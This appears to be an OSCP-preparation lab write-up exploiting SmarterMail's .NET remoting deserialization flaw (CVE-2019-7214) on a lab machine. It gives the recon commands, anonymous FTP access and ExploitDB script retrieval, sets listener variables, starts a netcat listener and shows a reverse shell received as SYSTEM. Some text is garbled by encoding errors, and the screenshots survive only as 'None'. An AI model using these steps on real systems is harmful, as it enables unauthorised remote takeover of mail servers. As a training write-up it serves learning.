Preparing for OSCP | Sharing Practical Labs & Real-World Attack Analysis

Step 1: Reconnaissance

Nmap Scan

nmap -sCV -A โ€” min-rate 1000 192.168.158.65

None

The scan revealed several open ports:

โ€ข 21/tcp โ€” FTP (Microsoft ftpd) โ€” Anonymous login allowed

โ€ข 80/tcp โ€” HTTP (Microsoft IIS 10.0) โ€” Default IIS page

โ€ข 135/tcp, 139/tcp, 445/tcp โ€” Windows RPC and SMB

โ€ข 9998/tcp โ€” SmarterMail Web Interface

โ€ข 17001/tcp โ€” .NET Remoting Endpoint (confirmed with targeted scan)

Full Port Scan:

None

Web Server: -

None

Step 2: Service Enumeration

SmarterMail Version Detection

curl -s http://192.168.158.65:9998/interface/root | grep -i version

None

Search Exploit: -

None

Result: SmarterMail Build 6919. This version is older than build 6985, which patched CVE-2019โ€“7214. The application is therefore vulnerable to .NET deserialization remote code execution.

FTP Anonymous Access

ftp 192.168.158.65

Username: anonymous | Password: (blank)

None

Anonymous FTP login was successful. Directories found: ImapRetrieval, Logs, PopRetrieval, Spool. This confirmed SmarterMail is actively running as a mail server on this machine.

Port 17001 โ€” .NET Remoting Endpoint

nmap -p 17001 192.168.158.65

Port 17001 was confirmed open. This is the .NET remoting endpoint exposed by SmarterMail, which is the attack vector for CVE-2019โ€“7214.

Step 3: Exploitation โ€” CVE-2019โ€“7214

Vulnerability Overview

SmarterMail before build 6985 exposes a .NET remoting endpoint on port 17001. This endpoint deserializes incoming data using BinaryFormatter without any validation. An unauthenticated attacker can send a malicious serialized payload that executes arbitrary commands as NT AUTHORITY\SYSTEM.

Get the Exploit

searchsploit SmarterMail

searchsploit -m multiple/remote/49216.py

None

Script Issues and Fixes

The original script from ExploitDB had two errors that needed to be fixed:

โ€ข Wrong target IP โ€” HOST was set to 192.168.159.65 (typo) instead of 192.168.158.65

โ€ข Python indentation error โ€” all code below the shebang line was incorrectly indented

A clean version of the script was created with the correct variables set:

HOST=้ค˜.168.158.65'

PORT=17001

LHOST=้ค˜.168.45.180'

LPORT=4444

Start Netcat Listener

nc -lvnp 4444

Run the Exploit

python3 49216.py

None

The exploit sends a .NET BinaryFormatter deserialization payload to port 17001. The payload contains a Base64-encoded PowerShell reverse shell command that connects back to the attacker machine.

Step 4: Shell โ€” NT AUTHORITY\SYSTEM

Shell Received

None

connect to [192.168.45.180] from (UNKNOWN) [192.168.158.65] 49895

PS C:\Windows\system32> whoami

nt authority\system

A PowerShell reverse shell was received directly as NT AUTHORITY\SYSTEM โ€” the highest privilege level on Windows. No privilege escalation was required since SmarterMail runs as SYSTEM by default.

Capture Flags

None

Key Learnings

  • CVE-2019โ€“7214 โ€” SmarterMail .NET remoting deserialization RCE affects all builds before 6985. Always check exact build numbers, not just version numbers.

๐ŸŽฅ Full Practical Demonstration For a complete step-by-step video walkthrough, watch here: